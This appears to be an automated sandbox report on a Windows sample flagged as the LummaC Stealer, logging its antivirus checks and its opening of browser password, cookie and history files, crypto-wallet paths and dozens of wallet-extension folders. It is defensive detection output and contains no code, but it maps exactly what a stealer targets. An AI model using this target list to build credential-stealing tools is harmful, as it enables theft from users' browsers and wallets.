Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\d83b909e-69d5-4478-a757-6de7fd931164.zip VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Code function: 7_2_0041CC78 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

7_2_0041CC78

Source: C:\Users\user\AppData\Local\d83b909e-69d5-4478-a757-6de7fd931164\ImApp.exe

Code function: 7_2_0041D12B GetVersionExA,InterlockedExchange,

7_2_0041D12B

Source: C:\Users\user\Desktop\b6FArHy7yA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000065C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\b6FArHy7yA.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: b6FArHy7yA.exe PID: 6936, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: b6FArHy7yA.exe, 00000000.00000003.2557489758.00000000006AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: b6FArHy7yA.exe, 00000000.00000003.2557489758.00000000006AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: b6FArHy7yA.exe	String found in binary or memory: Wallets/Exodus
Source: b6FArHy7yA.exe, 00000000.00000002.2775773721.000000000065C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: b6FArHy7yA.exe, 00000000.00000003.2557489758.00000000006AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: b6FArHy7yA.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\b6FArHy7yA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
